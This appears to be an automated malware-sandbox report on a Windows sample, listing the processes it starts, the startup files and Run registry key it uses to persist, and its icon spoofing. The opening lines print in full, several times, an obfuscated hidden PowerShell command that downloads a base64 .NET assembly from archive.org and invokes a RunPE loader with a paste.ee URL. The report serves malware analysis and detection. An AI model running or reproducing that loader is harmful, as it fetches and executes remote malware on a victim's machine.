Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('{0}url = {1}https'+'://ia60'+'0100.us.archi'+'ve.org'+'/24/i'+'tems'+'/d'+'et'+'a'+'h-note-v/Detah'+'NoteV'+'.txt{1};{0'+'}base64Co'+'ntent '+'='+' '+'(New-Ob'+'ject Sy'+'st'+'em.Ne'+'t.W'+'ebClie'+'nt).'+'Downl'+'oadSt'+'rin'+'g({0'+'}'+'url);{'+'0}bin'+'ar'+'yCon'+'ten'+'t ='+' '+'[System.Convert]'+'::'+'FromBa'+'se64String({0}base'+'64Con'+'tent);{0}asse'+'mbl'+'y '+'='+' [Reflection.As'+'s'+'embly]::'+'Lo'+'ad({0}bina'+'ryContent);{0}typ'+'e '+'= {'+'0}'+'assem'+'bly.GetT'+'yp'+'e({1}R'+'unPE'+'.Ho'+'me{'+'1});{0'+'}'+'me'+'thod = {0}type.GetMethod({1}VA'+'I{1}'+');{0}'+'m'+'e'+'th'+'od.In'+'v'+'oke({0}nu'+'ll, [obje'+'ct['+']]'+'@({1}'+'0'+'/gJ1k'+'S'+'/d/'+'ee.e'+'tsap//:sptth{1'+'}'+' ,'+' {1}de'+'sat'+'ivado{1'+'}'+' , {1'+'}desativa'+'d'+'o{1} , {1}'+'de'+'sativado{'+'1},{1}C'+'a'+'sPo'+'l{1}'+',{1'+'}{'+'1}))')-f [chAR]36,[chAR]39) \|Iex"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('{0}url = {1}https'+'://ia60'+'0100.us.archi'+'ve.org'+'/24/i'+'tems'+'/d'+'et'+'a'+'h-note-v/Detah'+'NoteV'+'.txt{1};{0'+'}base64Co'+'ntent '+'='+' '+'(New-Ob'+'ject Sy'+'st'+'em.Ne'+'t.W'+'ebClie'+'nt).'+'Downl'+'oadSt'+'rin'+'g({0'+'}'+'url);{'+'0}bin'+'ar'+'yCon'+'ten'+'t ='+' '+'[System.Convert]'+'::'+'FromBa'+'se64String({0}base'+'64Con'+'tent);{0}asse'+'mbl'+'y '+'='+' [Reflection.As'+'s'+'embly]::'+'Lo'+'ad({0}bina'+'ryContent);{0}typ'+'e '+'= {'+'0}'+'assem'+'bly.GetT'+'yp'+'e({1}R'+'unPE'+'.Ho'+'me{'+'1});{0'+'}'+'me'+'thod = {0}type.GetMethod({1}VA'+'I{1}'+');{0}'+'m'+'e'+'th'+'od.In'+'v'+'oke({0}nu'+'ll, [obje'+'ct['+']]'+'@({1}'+'0'+'/gJ1k'+'S'+'/d/'+'ee.e'+'tsap//:sptth{1'+'}'+' ,'+' {1}de'+'sat'+'ivado{1'+'}'+' , {1'+'}desativa'+'d'+'o{1} , {1}'+'de'+'sativado{'+'1},{1}C'+'a'+'sPo'+'l{1}'+',{1'+'}{'+'1}))')-f [chAR]36,[chAR]39) \|Iex"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('{0}url = {1}https'+'://ia60'+'0100.us.archi'+'ve.org'+'/24/i'+'tems'+'/d'+'et'+'a'+'h-note-v/Detah'+'NoteV'+'.txt{1};{0'+'}base64Co'+'ntent '+'='+' '+'(New-Ob'+'ject Sy'+'st'+'em.Ne'+'t.W'+'ebClie'+'nt).'+'Downl'+'oadSt'+'rin'+'g({0'+'}'+'url);{'+'0}bin'+'ar'+'yCon'+'ten'+'t ='+' '+'[System.Convert]'+'::'+'FromBa'+'se64String({0}base'+'64Con'+'tent);{0}asse'+'mbl'+'y '+'='+' [Reflection.As'+'s'+'embly]::'+'Lo'+'ad({0}bina'+'ryContent);{0}typ'+'e '+'= {'+'0}'+'assem'+'bly.GetT'+'yp'+'e({1}R'+'unPE'+'.Ho'+'me{'+'1});{0'+'}'+'me'+'thod = {0}type.GetMethod({1}VA'+'I{1}'+');{0}'+'m'+'e'+'th'+'od.In'+'v'+'oke({0}nu'+'ll, [obje'+'ct['+']]'+'@({1}'+'0'+'/gJ1k'+'S'+'/d/'+'ee.e'+'tsap//:sptth{1'+'}'+' ,'+' {1}de'+'sat'+'ivado{1'+'}'+' , {1'+'}desativa'+'d'+'o{1} , {1}'+'de'+'sativado{'+'1},{1}C'+'a'+'sPo'+'l{1}'+',{1'+'}{'+'1}))')-f [chAR]36,[chAR]39) \|Iex"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('{0}url = {1}https'+'://ia60'+'0100.us.archi'+'ve.org'+'/24/i'+'tems'+'/d'+'et'+'a'+'h-note-v/Detah'+'NoteV'+'.txt{1};{0'+'}base64Co'+'ntent '+'='+' '+'(New-Ob'+'ject Sy'+'st'+'em.Ne'+'t.W'+'ebClie'+'nt).'+'Downl'+'oadSt'+'rin'+'g({0'+'}'+'url);{'+'0}bin'+'ar'+'yCon'+'ten'+'t ='+' '+'[System.Convert]'+'::'+'FromBa'+'se64String({0}base'+'64Con'+'tent);{0}asse'+'mbl'+'y '+'='+' [Reflection.As'+'s'+'embly]::'+'Lo'+'ad({0}bina'+'ryContent);{0}typ'+'e '+'= {'+'0}'+'assem'+'bly.GetT'+'yp'+'e({1}R'+'unPE'+'.Ho'+'me{'+'1});{0'+'}'+'me'+'thod = {0}type.GetMethod({1}VA'+'I{1}'+');{0}'+'m'+'e'+'th'+'od.In'+'v'+'oke({0}nu'+'ll, [obje'+'ct['+']]'+'@({1}'+'0'+'/gJ1k'+'S'+'/d/'+'ee.e'+'tsap//:sptth{1'+'}'+' ,'+' {1}de'+'sat'+'ivado{1'+'}'+' , {1'+'}desativa'+'d'+'o{1} , {1}'+'de'+'sativado{'+'1},{1}C'+'a'+'sPo'+'l{1}'+',{1'+'}{'+'1}))')-f [chAR]36,[chAR]39) \|Iex"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('{0}url = {1}https'+'://ia60'+'0100.us.archi'+'ve.org'+'/24/i'+'tems'+'/d'+'et'+'a'+'h-note-v/Detah'+'NoteV'+'.txt{1};{0'+'}base64Co'+'ntent '+'='+' '+'(New-Ob'+'ject Sy'+'st'+'em.Ne'+'t.W'+'ebClie'+'nt).'+'Downl'+'oadSt'+'rin'+'g({0'+'}'+'url);{'+'0}bin'+'ar'+'yCon'+'ten'+'t ='+' '+'[System.Convert]'+'::'+'FromBa'+'se64String({0}base'+'64Con'+'tent);{0}asse'+'mbl'+'y '+'='+' [Reflection.As'+'s'+'embly]::'+'Lo'+'ad({0}bina'+'ryContent);{0}typ'+'e '+'= {'+'0}'+'assem'+'bly.GetT'+'yp'+'e({1}R'+'unPE'+'.Ho'+'me{'+'1});{0'+'}'+'me'+'thod = {0}type.GetMethod({1}VA'+'I{1}'+');{0}'+'m'+'e'+'th'+'od.In'+'v'+'oke({0}nu'+'ll, [obje'+'ct['+']]'+'@({1}'+'0'+'/gJ1k'+'S'+'/d/'+'ee.e'+'tsap//:sptth{1'+'}'+' ,'+' {1}de'+'sat'+'ivado{1'+'}'+' , {1'+'}desativa'+'d'+'o{1} , {1}'+'de'+'sativado{'+'1},{1}C'+'a'+'sPo'+'l{1}'+',{1'+'}{'+'1}))')-f [chAR]36,[chAR]39) \|Iex"

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Code function: 18_2_00007FF7B38EA164 push ecx; iretd

18_2_00007FF7B38EA168

Persistence and Installation Behavior

Windows Shell Script Host drops VBS files

Source: C:\Windows\System32\wscript.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\escrivan.vbs

Boot Survival

Creates autostart registry keys with suspicious values (likely registry only malware)

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Path C:\ProgramData\hvnc.vbs

Drops VBS files to the startup folder

Source: C:\Windows\System32\wscript.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\escrivan.vbs

Jump to dropped file

Drops script or batch files to the startup folder

Source: C:\Users\user\Desktop\TM3utH2CsU.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\start_sys.bat	Jump to dropped file
Source: C:\Users\user\Desktop\TM3utH2CsU.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\start_pow.bat	Jump to dropped file
Source: C:\Users\user\Desktop\TM3utH2CsU.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\start_32.bat	Jump to dropped file

Source: C:\Users\user\Desktop\TM3utH2CsU.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\start_sys.bat

Jump to behavior

Source: C:\Users\user\Desktop\TM3utH2CsU.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\start_sys.bat	Jump to behavior
Source: C:\Users\user\Desktop\TM3utH2CsU.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\start_pow.bat	Jump to behavior
Source: C:\Users\user\Desktop\TM3utH2CsU.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\start_32.bat	Jump to behavior
Source: C:\Windows\System32\wscript.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\escrivan.vbs

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Path
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Path

Hooking and other Techniques for Hiding and Protection

Icon mismatch, binary includes an icon from a different legit application in order to fool users

Source: initial sample

Icon embedded in binary file: icon matches a legit application icon: download (98).png

Source: C:\Users\user\Desktop\TM3utH2CsU.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate	Jump to behavior
Source: C:\Users\user\Desktop\TM3utH2CsU.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot	Jump to behavior
Source: C:\Users\user\Desktop\TM3utH2CsU.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot	Jump to behavior

Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
